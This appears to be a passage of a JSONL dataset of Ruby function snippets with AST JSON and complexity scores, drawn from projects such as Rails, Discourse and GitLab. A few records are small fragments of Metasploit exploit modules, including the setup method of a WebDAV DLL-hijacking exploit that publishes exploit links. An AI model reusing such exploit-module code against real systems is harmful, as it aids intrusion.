[null,\"framework\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MsfExploit\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ONCRPC::tcp_request_fragmentation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"rpcobj\"]},\"should_fragment=\",{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rpcobj\"]},\"create\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"SunRPC\"]},\"RPCError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - SunRPC - No response to Portmap request\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Encoder\"]},\"XDR\"]},\"decode!\",{\"type\":\"lvar\",\"children\":[\"ret\"]},{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"const\",\"children\":[null,\"Integer\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ArgumentError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"SunRPC\"]},\"RPCError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - SunRPC - XDR decoding failed in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__callee__\"]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"const\",\"children\":[null,\"MSG_ACCEPTED\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]},\"!=\",{\"type\":\"const\",\"children\":[null,\"SUCCESS\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"err\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - SunRPC - Portmap request failed: \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"const\",\"children\":[null,\"MSG_ACCEPTED\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Message not accepted\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]},\"!=\",{\"type\":\"const\",\"children\":[null,\"SUCCESS\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"<<\",{\"type\":\"str\",\"children\":[\"RPC did not execute\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Program not available\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"SunRPC\"]},\"RPCError\"]},{\"type\":\"lvar\",\"children\":[\"err\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rpcobj\"]},\"pport=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]}]}]}]}","id":"366c66d8-c086-402f-ba59-7b14877ba904"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/webdav_dll_hijacker.rb","start_line":357,"raw_source":"def exploit\n    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']\n\n    @exploit_unc = \"\\\\\\\\#{myhost}\\\\\"\n\n    if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'\n      fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')\n    end\n\n    print_status(\"Exploit links are now available at #{@exploit_unc}#{datastore['SHARENAME']}\\\\\")\n\n    super\n  end","complexity_score":26.63,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"myhost\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"str\",\"children\":[\"50.50.50.50\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@exploit_unc\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"myhost\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"to_i\"]},\"!=\",{\"type\":\"int\",\"children\":[80]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIPATH\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Using WebDAV requires SRVPORT=80 and URIPATH=/\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exploit links are now available at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@exploit_unc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SHARENAME\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"fa072081-8f92-4460-97c5-ad2b3626a14d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb","start_line":789,"raw_source":"def change(column_name, type, **options)\n        raise_on_if_exist_options(options)\n        @base.change_column(name, column_name, type, **options)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_name\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raise_on_if_exist_options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@base\"]},\"change_column\",{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"lvar\",\"children\":[\"column_name\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}","id":"59da37dc-09df-4ae0-93e6-fa5c7c16dc85"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/performance_bar_helpers.rb","start_line":10,"raw_source":"def perf_bar_cookie_enabled?\n        cookies[:perf_bar_enabled] == 'true'\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perf_bar_cookie_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"perf_bar_enabled\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]}]}","id":"7e120715-18fa-4a42-82da-d130b9421a04"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/bundler/insecure_protocol_source.rb","start_line":58,"raw_source":"def on_send(node)\n          insecure_protocol_source?(node) do |source_node|\n            source = source_node.value\n            use_http_protocol = source == 'http://rubygems.org'\n\n            return if allow_http_protocol? && use_http_protocol\n\n            message = if use_http_protocol\n                        MSG_HTTP_PROTOCOL\n                      else\n                        format(MSG, source: source)\n                      end\n\n            add_offense(source_node, message: message) do |corrector|\n              corrector.replace(source_node, \"'https://rubygems.org'\")\n            end\n          end\n        end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"insecure_protocol_source?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_node\"]},\"value\"]}]},{\"type\":\"lvasgn\",\"children\":[\"use_http_protocol\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"==\",{\"type\":\"str\",\"children\":[\"http://rubygems.org\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_http_protocol?\"]},{\"type\":\"lvar\",\"children\":[\"use_http_protocol\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_http_protocol\"]},{\"type\":\"const\",\"children\":[null,\"MSG_HTTP_PROTOCOL\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"source\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"source_node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"source_node\"]},{\"type\":\"str\",\"children\":[\"'https://rubygems.org'\"]}]}]}]}]}]}","id":"c4995887-ba35-4be4-a19e-ac3268175efb"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/inference/open_ai_embeddings.rb","start_line":6,"raw_source":"def initialize(endpoint, api_key, model, dimensions)\n        @endpoint = endpoint\n        @api_key = api_key\n        @model = model\n        @dimensions = dimensions\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"endpoint\"]},{\"type\":\"arg\",\"children\":[\"api_key\"]},{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"dimensions\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@endpoint\",{\"type\":\"lvar\",\"children\":[\"endpoint\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@api_key\",{\"type\":\"lvar\",\"children\":[\"api_key\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@model\",{\"type\":\"lvar\",\"children\":[\"model\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@dimensions\",{\"type\":\"lvar\",\"children\":[\"dimensions\"]}]}]}]}","id":"ffa63c7e-e85b-424b-bc74-999ed470c17a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/task_helpers/exports/policy_sets.rb","start_line":4,"raw_source":"def export(options = {})\n        export_dir = options[:directory]\n\n        policy_sets = options[:all] ? MiqPolicySet.all : MiqPolicySet.where(:read_only => [false, nil])\n\n        policy_sets.order(:id).each do |policy_set|\n          $log.info(\"Exporting Policy Profile: #{policy_set.description} (ID: #{policy_set.id})\")\n\n          filename = Exports.safe_filename(policy_set.description, options[:keep_spaces])\n          File.write(\"#{export_dir}/#{filename}.yaml\", policy_set.export_to_yaml)\n        end\n      end","complexity_score":23.2,"ast_json":"{\"type\":\"def\",\"children\":[\"export\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"export_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"directory\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"policy_sets\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"all\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqPolicySet\"]},\"all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqPolicySet\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read_only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy_sets\"]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"policy_set\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exporting Policy Profile: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy_set\"]},\"description\"]}]},{\"type\":\"str\",\"children\":[\" (ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy_set\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exports\"]},\"safe_filename\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy_set\"]},\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"keep_spaces\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export_dir\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\".yaml\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy_set\"]},\"export_to_yaml\"]}]}]}]}]}]}","id":"5d9230a7-ca36-4499-b29c-d4e9952a38f8"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/concern_test.rb","start_line":189,"raw_source":"included.module_eval { def foo; @foo << :included; end }","complexity_score":7.2,"ast_json":"{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"included\"]},\"module_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"foo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@foo\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"included\"]}]}]}]}","id":"fa8b248d-4eb9-40f1-820c-f196a1f65b65"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/oats_weblogic_console.rb","start_line":93,"raw_source":"def set_frsc\n    value = get_deploy_frsc\n    @frsc = value\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_frsc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"get_deploy_frsc\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@frsc\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"346e2cd2-baba-42b9-a3ee-4cf510999e23"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/app/serializers/discourse_post_event/basic_event_serializer.rb","start_line":64,"raw_source":"def starts_at\n      if object.recurring? && object.recurrence_until.present? &&\n           object.recurrence_until < Time.current\n        return nil\n      end\n\n      if object.show_local_time\n        timezone_time = object.original_starts_at&.in_time_zone(object.timezone)\n        timezone_time&.strftime(\"%Y-%m-%dT%H:%M:%S\")\n      else\n        if object.recurring?\n          timezone_time = object.original_starts_at&.in_time_zone(object.timezone)\n          timezone_time&.iso8601(3)\n        else\n          timezone_time = object.starts_at&.in_time_zone(object.timezone)\n          timezone_time&.iso8601(3)\n        end\n      end\n    end","complexity_score":53.55,"ast_json":"{\"type\":\"def\",\"children\":[\"starts_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"recurring?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"recurrence_until\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"recurrence_until\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"show_local_time\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"timezone_time\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"original_starts_at\"]},\"in_time_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"timezone\"]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timezone_time\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y-%m-%dT%H:%M:%S\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"recurring?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"timezone_time\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"original_starts_at\"]},\"in_time_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"timezone\"]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timezone_time\"]},\"iso8601\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"timezone_time\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"starts_at\"]},\"in_time_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"timezone\"]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timezone_time\"]},\"iso8601\",{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]}","id":"dcd274bb-06c9-40ce-8518-d5148f1f7122"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/dashboard_controller.rb","start_line":75,"raw_source":"def load_vendor\n        return unless defined?(Spree::Vendor)\n\n        @vendor = current_vendor || (Spree::Vendor.find(params[:vendor_id]) if params[:vendor_id].present?)\n      end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"load_vendor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Vendor\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@vendor\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_vendor\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vendor_id\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Vendor\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vendor_id\"]}]}]},null]}]}]}]}]}]}","id":"67e465f9-f83b-47d2-a76b-b2c41d068cf2"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/user_post_bookmark_serializer.rb","start_line":28,"raw_source":"def bookmarkable_user\n    @bookmarkable_user ||= post.user\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"bookmarkable_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@bookmarkable_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post\"]},\"user\"]}]}]}","id":"d82cd97d-50dd-4be9-993f-a9380cd02727"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/connect_api/users/users_stubbing.rb","start_line":17,"raw_source":"def stub_users\n        stub_request(:get, \"https://appstoreconnect.apple.com/iris/v1/users\").\n          to_return(status: 200, body: read_fixture_file('users.json'), headers: { 'Content-Type' => 'application/json' })\n      end","complexity_score":3.7,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"str\",\"children\":[\"https://appstoreconnect.apple.com/iris/v1/users\"]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"read_fixture_file\",{\"type\":\"str\",\"children\":[\"users.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]}]}","id":"5c5f7319-b903-45c9-bbfa-b3474742080b"}
{"repo_name":"forem","file_path":"./repos/forem/app/decorators/notification_decorator.rb","start_line":79,"raw_source":"def subscription_to_commentable_article_for(user)\n    return unless commentable_article_id\n\n    subscription_to_notifiable_for(user,\n                                   notifiable_type: \"Article\",\n                                   notifiable_id: commentable_article_id)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"subscription_to_commentable_article_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commentable_article_id\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"subscription_to_notifiable_for\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notifiable_type\"]},{\"type\":\"str\",\"children\":[\"Article\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notifiable_id\"]},{\"type\":\"send\",\"children\":[null,\"commentable_article_id\"]}]}]}]}]}]}","id":"2efbd7c1-d03a-4057-a06e-44784421e204"}
